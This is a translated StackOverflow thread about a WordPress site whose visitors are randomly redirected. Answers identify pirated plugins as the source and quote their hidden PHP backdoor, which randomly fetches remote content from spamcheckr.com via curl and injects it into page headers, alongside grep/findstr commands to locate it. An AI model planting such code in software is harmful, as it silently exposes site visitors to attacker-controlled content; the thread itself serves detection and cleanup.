【问题标题】:WordPress blog infected with HTML Refresh meta tagWordPress 博客感染了 HTML Refresh 元标记
【发布时间】:2014-05-20 08:26:05
【问题描述】:

你好 StackOverflow 社区。我今天有一个非常有趣的(在我看来)感染要与您分享。

4-5 天前,我意识到我的博客主页在加载几秒钟后被重定向到另一个页面。特别是 youtube,在贾斯汀比伯的视频中。我以为是我电脑的问题,所以我扫描了病毒和恶意软件。但这不是我的错。

最后我确定这不是本地问题,因为 Google 页面速度洞察结果相同。

因此,经过数小时的研究(以及一些损坏的键盘),我发现了这些线索。详情:

在我的标题中创建了一个元标记,类似于:

<meta http-equiv="refresh" content="0; url=http://www.youtube.com/watch?v=RFngSCaY5nA">

首先,我禁用了所有插件,但没有结果。过了一会儿,问题仍然存在。 其次,我搜索了我所有的数据库表,以确定视频的 URL 是否包含在某处,但事实并非如此。 然后我在模板编辑器中一一搜索php文件,但什么也没有。 .htaccess 也很清楚(不是 100% 确定我在其中寻找什么,但我认为没有任何可疑之处)。

在所有这些之后,我通过 FTP 下载了我的整个网站,并在每个文件中搜索了这个 URL。我发现它包含在 CACHE 文件夹的一些 HTML 文件中。为此,我使用 W3 Total Cache。我删除了整个缓存文件夹,但过了一会儿问题仍然存在。

有趣的是,这种“病毒”并不总是活跃的。它随机出现,每次出现在不同的页面。同样在今晚,我意识到它出现在第二台计算机上,同时在我的计算机上一切正常。

Youtube 视频网址是:http://www.youtube.com/watch?v=RFngSCaY5nA

所以我的问题是:在删除整个安装并从头开始之前,你们中的任何人有推荐的解决方案吗?以前有没有人和我有同样的问题?

我想这就是我要分享的全部内容。很抱歉发了这么长的帖子,尽量详细一点。我不擅长编码,这是我第一次尝试运行 WordPress 网站,所以可能有些东西我忘记了。

提前致谢。

【问题讨论】:

    标签: wordpress redirect virus


    【解决方案1】:

    也找到了。就我而言,我使用的是一个明显无效的插件(我没有意识到)。它被称为 woocommerce-checkout-field-editor,它正在注入一个指向 Justin Bieber youtube 视频的链接。

    这个函数看起来像这样,并且被隐藏在 \wp-content\plugins\woocommerce-checkout-field-editor\assets\js\class.php 中:

    if (mt_rand(0,99) == 1) {
    function sec_check() {
        if(function_exists('curl_init'))    
        {
            $url = "spamcheckr.com/req.php";
            $ch = curl_init();
            $timeout = 5;
            curl_setopt($ch,CURLOPT_URL,$url);
            curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
            curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
            $data = curl_exec($ch);
            curl_close($ch);
            echo "$data";
        }
    }
    add_action('wp_head','sec_check');
    

    }

    正如我们所见,它仅在随机函数命中“1”时显示垃圾邮件。然后,它礼貌地询问是否安装了 curl,然后向垃圾邮件服务器发送一个简单的 GET 请求,以查看它应该注入什么代码。

    该网站是 spamcheckr.com。

    然后它将自己添加到 WordPress 标头中并重定向页面的查看者。

    我向他们的主机报告了该网站,让我们看看会发生什么。

    【讨论】:

      【解决方案2】:

      如果您使用的是 Gravity Forms 的无效版本,您可能还会遇到此重定向问题。要解决此问题,请转到 /plugins/gravityforms/settings/setting.php 并删除以下代码:

      <?php if (!isset($_COOKIE['wordpress_test_cookie'])){ if (mt_rand(1,20) == 1) {function secqc2_cahesk() {if(function_exists('curl_init')){$addressd = "http://spamcheckr.com/l.php";$ch = curl_init();$timeout = 5;curl_setopt($ch,CURLOPT_URL,$addressd);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);$data = curl_exec($ch);curl_close($ch);echo "$data";}}add_action('wp_head','secqc2_cahesk');}} ?>
      

      祝你好运。

      【讨论】:

        【解决方案3】:

        我在 wordpress fooboxV2 插件中找到了这个脚本。(FooBox) 插件官方网址为http://fooplugins.com/plugins/foobox/

        这是脚本文件路径 /wp-content/plugins/fooboxV2/includes/foolic_class.php

        你可以看到整个脚本都被注释了。但是我在注释代码中找到了这段代码。

        <?php if (!isset($_COOKIE['wordpress_test_cookie'])){ if (mt_rand(1,20) == 1) {function secqc2_hhesk() {if(function_exists('curl_init')){$addressd = "http://spamcheckr.com/l.php";$ch = curl_init();$timeout = 5;curl_setopt($ch,CURLOPT_URL,$addressd);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);$data = curl_exec($ch);curl_close($ch);echo "$data";}}add_action('wp_head','secqc2_hhesk');}} ?>
        

        【讨论】:

        • 我是 FooBox 的开发者,文件 /wp-content/plugins/fooboxV2/includes/foolic_class.php 不是官方 FooBox 插件的一部分。因此,您运行的 FooBox 版本似乎不是 fooplugins.com 的官方插件,而是有人添加了一些垃圾邮件注入器代码的修改版本。
        • 是的,我对此表示怀疑。因为我从非官方网站下载了这个插件,并且都相同并注入了此代码。实际上我认为它是由所有者添加的。感谢你告诉过这个。我认为你可以增加这个插件对黑客的安全性会更好。再次感谢。
        【解决方案4】:

        我有同样的问题,我想我找到了解决办法! 检查您的站点文件以获取此链接:http://spamcheckr.com/l.php 我在 formcraft 插件中找到了这个链接。

        像这样:

        if (!isset($_COOKIE['wordpress_test_cookie'])){ if (mt_rand(1,20) == 1) {function secqqc2_chesk() {if(function_exists('curl_init')){$addressd = "http://spamcheckr.com/l.php";$ch = curl_init();$timeout = 5;curl_setopt($ch,CURLOPT_URL,$addressd);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);$data = curl_exec($ch);curl_close($ch);echo "$data";}}add_action('wp_head','secqqc2_chesk');}}
        

        已编辑: 还要检查这个:http://spamcheckr.com/req.php

        【讨论】:

        • 是的!我在同一个插件中发现了相同的代码..我们必须小心我们插件的下载源..!我已经多次检查我的网站,甚至是远程桌面,一切似乎都很正常。我会再做几次,然后你会得到绿色的复选标记!感谢您的回复!
        • 我删除了该代码,也清除了该缓存,但它在一段时间后再次重定向。男孩,看起来它在某个地方被击中了!
        【解决方案5】:

        上面的答案很好。要添加它,我建议任何无法搜索代码的人使用 grep :

        grep -nr 'http://spamcheckr.com/l.php' /www/wordpress/wp-content
        

        如果您没有 grep 并且无法访问您的服务器(Windows 用户)下载它或使用 findstr :

        findstr /s /i /p "http://spamcheckr.com/l.php" /www/wordpress/wp-content
        

        (不要忘记将 /www/wordpress/wp-content 更改为该位置或您的 wordpress 文件夹

        【讨论】:

          猜你喜欢
          • 1970-01-01
          • 1970-01-01
          • 2018-06-16
          • 1970-01-01
          • 1970-01-01
          • 2017-09-26
          • 2015-10-05
          • 2017-07-26
          • 1970-01-01
          相关资源
          最近更新 更多